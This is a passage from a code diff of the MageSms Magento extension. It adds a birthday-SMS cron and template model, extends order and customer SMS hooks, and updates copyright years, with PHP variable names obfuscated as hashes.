($idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b) { $i854b57231c05dbaa7f22331dbaed4152a402d2f1 = new Zend_Locale_Data(); $i065c883e3f45e58104d21f8196ee3fe9bd2f513d = $i854b57231c05dbaa7f22331dbaed4152a402d2f1->getList('en-EN', 'phonetoterritory'); $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = $i065c883e3f45e58104d21f8196ee3fe9bd2f513d[$idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b]; } else { $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = ''; } $i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f = $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext(); foreach($i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e as $i4df015c4c10bbcf1d38137f3659b01221d2dc076) { if ($i4df015c4c10bbcf1d38137f3659b01221d2dc076->getMutation() == $i7492a7ab99a6ff1e0ae253366480ecb40a550224) { $i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f = $i4df015c4c10bbcf1d38137f3659b01221d2dc076->getSmstext(); break; } } if ($i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f) { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getModel('magesms/hooks'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i5e65dd16263683749d16a84171f719e768ed14b5 = Mage::getModel('customer/customer')->load($ifb2b31a17a2f13d19aebc5823ae02f42988a78f2); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, array('recipient' => $i489c048e0604d314330360b5ee23b42f486ebb98, 'customerId' => $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2, 'country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) ->setMessage($if739aceffec69fa2733946a3d319defaa354082d->prepareText($i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f, 'customerRegisterSuccess', $i5e65dd16263683749d16a84171f719e768ed14b5)) ->setSubject('birthdayMessages') ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setCustomerId($ifb2b31a17a2f13d19aebc5823ae02f42988a78f2) ->setStoreId($i21e55df616c305955791876c1eb4da83448beba2->getStoreId()); $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer'); foreach($if2014d170e15e7f6f64523fd3238720980ceb64a as $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd) { if ($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getArea() == $i7492a7ab99a6ff1e0ae253366480ecb40a550224) { $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); break; } elseif ($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getArea() == 'default') $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName('birthdayMessages'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); Mage::log("MageSms BirthdayMessages cron - send sms to ".$i5e65dd16263683749d16a84171f719e768ed14b5->getName().' ('.$i1f1945594819c4321de45ac15ed6d4dc07f41e2f.')'); } } } Mage::getModel('core/config')->saveConfig('magesms/birthday/run', date('Y-m-d', Mage::getModel('core/date')->timestamp(strtotime('+1 day')))); Mage::getConfig()->reinit(); Mage::app()->reinitStores(); } Mage::log("MageSms BirthdayMessages cron - end"); return $this; } private function f69d077045ec67fdb80677c5f2c3a640cf42697a2() { $ie54fcd5470bd7f31f709089290e33bb03e655c25 = array(); $ice21cd4390308309015957a221ff2bff67f397ce = Mage::app()->getLocale()->getOptionLocales(); foreach (Mage::app()->getStores() as $i3763a59a4c1873eeb396b46caa87140ccb7bc631) { $ia35eb6e21739b9f362d4085ebe7dee274bc421a7 = Mage::getStoreConfig('general/locale/code', $i3763a59a4c1873eeb396b46caa87140ccb7bc631->getId()); if (in_array($ia35eb6e21739b9f362d4085ebe7dee274bc421a7, $ie54fcd5470bd7f31f709089290e33bb03e655c25)) { continue; } foreach ($ice21cd4390308309015957a221ff2bff67f397ce as $i4e4643965424fd5279d5992f6c669c0a56d9a1a3) { if ($i4e4643965424fd5279d5992f6c669c0a56d9a1a3['value'] == $ia35eb6e21739b9f362d4085ebe7dee274bc421a7) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[] = $ia35eb6e21739b9f362d4085ebe7dee274bc421a7; break; } } } return $ie54fcd5470bd7f31f709089290e33bb03e655c25; } }
app/code/community/Topefekt/Magesms/Model/Birthdaymessages/Template.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_BirthdayMessages_Template extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/birthdaymessages_template'); } }
app/code/community/Topefekt/Magesms/Model/Country.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Country extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/country'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Country extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/country'); } }
app/code/community/Topefekt/Magesms/Model/Country/Area.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Country_Area extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/country_area'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Country_Area extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/country_area'); } }
app/code/community/Topefekt/Magesms/Model/Country/Lang.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Country_Lang extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/country_lang'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Country_Lang extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/country_lang'); } }
app/code/community/Topefekt/Magesms/Model/Exceptions.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Exceptions extends Mage_Core_Model_Abstract { private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a; protected function _construct() { $this->_init('magesms/exceptions'); } public function updateData() { $i04133b282add75cc6fb03b8f23059a4a19ae63c9 = $this->getCollection(); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=showexc&username='.urlencode(Mage::getSingleton('magesms/smsprofile')->user->user); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $if2363dc4f19bfec9b2f6c8c836b58e55c25e6997 = array(); foreach($i04133b282add75cc6fb03b8f23059a4a19ae63c9 as $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f) $if2363dc4f19bfec9b2f6c8c836b58e55c25e6997[$i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getId()] = 1; foreach($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'] as $ia61712c27ea241bd7a543dc2b02ea572274d0322) { list($if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, $i5bf792bc27965e6366ed7dd55d8a4f1216ffd4bc, $i4616676bff4c07942c8542e6b4e0ccf29d473424, $i4de11663a9306b410e28ff008f89a06a42664d88) = explode(',', $ia61712c27ea241bd7a543dc2b02ea572274d0322); $i5bf407a3ecf35ff195a9c7e8f546cfc606253fad = true; foreach($i04133b282add75cc6fb03b8f23059a4a19ae63c9 as $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f) { if ($i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getPrefix() == $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getFirstPrefix() == $i5bf792bc27965e6366ed7dd55d8a4f1216ffd4bc && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getLength() == $i4616676bff4c07942c8542e6b4e0ccf29d473424 && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getTrim() == $i4de11663a9306b410e28ff008f89a06a42664d88) { unset($if2363dc4f19bfec9b2f6c8c836b58e55c25e6997[$i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getId()]); $i5bf407a3ecf35ff195a9c7e8f546cfc606253fad = false; break; } } if ($i5bf407a3ecf35ff195a9c7e8f546cfc606253fad === true) { $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0 = Mage::getModel('magesms/exceptions'); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setPrefix($if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setFirstPrefix($i5bf792bc27965e6366ed7dd55d8a4f1216ffd4bc); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setLength($i4616676bff4c07942c8542e6b4e0ccf29d473424); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setTrim($i4de11663a9306b410e28ff008f89a06a42664d88); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->save(); } } foreach($if2363dc4f19bfec9b2f6c8c836b58e55c25e6997 as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538=>$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08) Mage::getModel('magesms/exceptions')->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)->delete(); } } public function number($i39404799a9171a012cb8b15cd8f27b347aa44a5f, $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd) { if ($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) $i04133b282add75cc6fb03b8f23059a4a19ae63c9 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = $i04133b282add75cc6fb03b8f23059a4a19ae63c9 = $this->getCollection(); foreach($i04133b282add75cc6fb03b8f23059a4a19ae63c9 as $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f) { if ($i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getPrefix() == $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getLength() == strlen($i39404799a9171a012cb8b15cd8f27b347aa44a5f) && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getFirstPrefix() == substr($i39404799a9171a012cb8b15cd8f27b347aa44a5f, 0, 2)) { return $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd.($i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getTrim() ? substr($i39404799a9171a012cb8b15cd8f27b347aa44a5f, $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getTrim()) : $i39404799a9171a012cb8b15cd8f27b347aa44a5f); } } return $i39404799a9171a012cb8b15cd8f27b347aa44a5f; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Exceptions extends Mage_Core_Model_Abstract { private $v148194b5b9cc653ce2e35e9709e441dc6fd4123a; protected function _construct() { $this->_init('magesms/exceptions'); } public function updateData() { $i04133b282add75cc6fb03b8f23059a4a19ae63c9 = $this->getCollection(); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=showexc&username='.urlencode(Mage::getSingleton('magesms/smsprofile')->user->user); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $if2363dc4f19bfec9b2f6c8c836b58e55c25e6997 = array(); foreach($i04133b282add75cc6fb03b8f23059a4a19ae63c9 as $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f) $if2363dc4f19bfec9b2f6c8c836b58e55c25e6997[$i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getId()] = 1; foreach($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'] as $ia61712c27ea241bd7a543dc2b02ea572274d0322) { list($if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, $i5bf792bc27965e6366ed7dd55d8a4f1216ffd4bc, $i4616676bff4c07942c8542e6b4e0ccf29d473424, $i4de11663a9306b410e28ff008f89a06a42664d88) = explode(',', $ia61712c27ea241bd7a543dc2b02ea572274d0322); $i5bf407a3ecf35ff195a9c7e8f546cfc606253fad = true; foreach($i04133b282add75cc6fb03b8f23059a4a19ae63c9 as $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f) { if ($i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getPrefix() == $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getFirstPrefix() == $i5bf792bc27965e6366ed7dd55d8a4f1216ffd4bc && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getLength() == $i4616676bff4c07942c8542e6b4e0ccf29d473424 && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getTrim() == $i4de11663a9306b410e28ff008f89a06a42664d88) { unset($if2363dc4f19bfec9b2f6c8c836b58e55c25e6997[$i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getId()]); $i5bf407a3ecf35ff195a9c7e8f546cfc606253fad = false; break; } } if ($i5bf407a3ecf35ff195a9c7e8f546cfc606253fad === true) { $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0 = Mage::getModel('magesms/exceptions'); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setPrefix($if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setFirstPrefix($i5bf792bc27965e6366ed7dd55d8a4f1216ffd4bc); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setLength($i4616676bff4c07942c8542e6b4e0ccf29d473424); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->setTrim($i4de11663a9306b410e28ff008f89a06a42664d88); $i7c94c9b9e96dc295bc0fe1b03a5f04b0633533e0->save(); } } foreach($if2363dc4f19bfec9b2f6c8c836b58e55c25e6997 as $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538=>$i3ca4aff6918962dee4a8054ca52f13ef3b6bab08) Mage::getModel('magesms/exceptions')->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)->delete(); } } public function number($i39404799a9171a012cb8b15cd8f27b347aa44a5f, $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd) { if ($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a) $i04133b282add75cc6fb03b8f23059a4a19ae63c9 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a = $i04133b282add75cc6fb03b8f23059a4a19ae63c9 = $this->getCollection(); foreach($i04133b282add75cc6fb03b8f23059a4a19ae63c9 as $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f) { if ($i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getPrefix() == $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getLength() == strlen($i39404799a9171a012cb8b15cd8f27b347aa44a5f) && $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getFirstPrefix() == substr($i39404799a9171a012cb8b15cd8f27b347aa44a5f, 0, 2)) { return $if0177bfe4bf22cfbb3da2ac06eca557829f0a4cd.($i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getTrim() ? substr($i39404799a9171a012cb8b15cd8f27b347aa44a5f, $i3f4f633cf43d2d0313bcae3ea42defdb5a5dbf8f->getTrim()) : $i39404799a9171a012cb8b15cd8f27b347aa44a5f); } } return $i39404799a9171a012cb8b15cd8f27b347aa44a5f; } }
app/code/community/Topefekt/Magesms/Model/Hooks.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Model_Hooks extends Mage_Core_Model_Abstract { public static $groups = array( 'order_status' => 0, 'order' => 1, 'account' => 2, 'product' => 3, 'contactform' => 4 ); protected function _construct() { $this->_init('magesms/hooks'); } public function send($i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5) { $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); if ($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user) { $i589c2cccd18de711ec5e779b98b9f98d0347a925 = Mage::app()->getStore()->getGroupId(); if (!$i589c2cccd18de711ec5e779b98b9f98d0347a925 && $i5e65dd16263683749d16a84171f719e768ed14b5->hasStoreId()) { $i589c2cccd18de711ec5e779b98b9f98d0347a925 = Mage::getModel('core/store')->load($i5e65dd16263683749d16a84171f719e768ed14b5->getStoreId())->getGroupId(); } if ($i5e65dd16263683749d16a84171f719e768ed14b5->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStore()->getId(); elseif (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; if (!Mage::helper('magesms')->isActive($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) return $this; if (Mage::registry('magesms_store_id')) Mage::unregister('magesms_store_id'); Mage::register('magesms_store_id', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66, true); $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8 = Mage::getSingleton('magesms/hooks_admins')->getCollection(); if ($i589c2cccd18de711ec5e779b98b9f98d0347a925 || !Mage::getSingleton('admin/session')->isLoggedIn()) { $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->addFieldToFilter('store_group_id', $i589c2cccd18de711ec5e779b98b9f98d0347a925); } else { $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->getSelect()->group('admin_id'); } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus') { $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStatus(); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/[^a-zA-Z0-9_]/', '_', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/^([^a-zA-Z])/', 'x$1', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->addFieldToFilter('name', 'orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, '')); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a.' - orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, ''); } else { $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->addFieldToFilter('name', $i41496536c6b29c24b90c374d9fc25143f114dc9a); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a; } if ($ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'admin')->getFirstItem(); foreach($ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8 as $i3d68c0cf53594c3449a7debf01d1c337a93fc4ae) { $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87 = Mage::getModel('magesms/admins')->load($i3d68c0cf53594c3449a7debf01d1c337a93fc4ae->getAdminId()); if (!$i2977ace3ff82db806c1e7c92dd6811f3d76f0e87) continue; $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getNumber(), array('recipient' => $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getName(), 'adminId' => $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getId())) ->setMessage($this->prepareText($i3d68c0cf53594c3449a7debf01d1c337a93fc4ae->getSmstext(), $i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5)) ->setSubject($i7744e4decfaad72e8b713dad6e312bdd2770c4da) ->setType(Topefekt_Magesms_Model_Sms::TYPE_ADMIN) ->setPriority(true) ->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName($i7744e4decfaad72e8b713dad6e312bdd2770c4da); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); } } if ($i5e65dd16263683749d16a84171f719e768ed14b5 instanceof Mage_Sales_Model_Order && Mage::getStoreConfig('magesms/magesms/customer_groups_enable', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) { $groups = Mage::getStoreConfig('magesms/magesms/customer_groups', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if (!in_array($i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerGroupId(), explode(',', $groups))) return $this; } $i71e09ed37bc7273d250df9932c1693668e879cdd = Mage::getSingleton('magesms/hooks_customers')->getCollection() ->addFieldToFilter('active', 1) ->addFieldToFilter('mutation', Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)); if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus') { $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStatus(); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/[^a-zA-Z0-9_]/', '_', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/^([^a-zA-Z])/', 'x$1', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $i71e09ed37bc7273d250df9932c1693668e879cdd->addFieldToFilter('name', 'orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, '')); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a.' - orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, ''); } else { $i71e09ed37bc7273d250df9932c1693668e879cdd->addFieldToFilter('name', $i41496536c6b29c24b90c374d9fc25143f114dc9a); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a; } if ($i71e09ed37bc7273d250df9932c1693668e879cdd->count()) { if ($i5e65dd16263683749d16a84171f719e768ed14b5 instanceof Mage_Sales_Model_Order) { $ib8129b89cda7dae2cfe1b114353de8ba2385974e = Mage::getModel('magesms/optout_order')->getCollection() ->addFieldToFilter('order_id', $i5e65dd16263683749d16a84171f719e768ed14b5->getId()) ->addFieldToFilter('disabled', 1); if ($ib8129b89cda7dae2cfe1b114353de8ba2385974e->count()) { return $this; } if ($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) { if ($i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getCountryId(); } if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) && !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getCountryId(); } } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getCountryId(); if (!$i1f1945594819c4321de45ac15ed6d4dc07f41e2f || preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getCountryId(); } } if (!preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = ''; $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerId(); if (!$ifb2b31a17a2f13d19aebc5823ae02f42988a78f2) $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = 0; $i489c048e0604d314330360b5ee23b42f486ebb98 = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerName(); } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = ''; $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = $i5e65dd16263683749d16a84171f719e768ed14b5->getId(); } if (Mage::helper('core')->isModuleEnabled('Amasty_Orderattr')) { if (($i3a8afabb89bac1f64ee08bc9eeece7680677058c = Mage::app()->getRequest()->getParam('amorderattr')) && !empty($i3a8afabb89bac1f64ee08bc9eeece7680677058c['contact_tel'])) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i3a8afabb89bac1f64ee08bc9eeece7680677058c['contact_tel']; } else { $i0bc4437a5c5941b7f3a262ba60f104077f308455 = Mage::getModel('amorderattr/attribute')->load($i5e65dd16263683749d16a84171f719e768ed14b5->getId(), 'order_id'); if 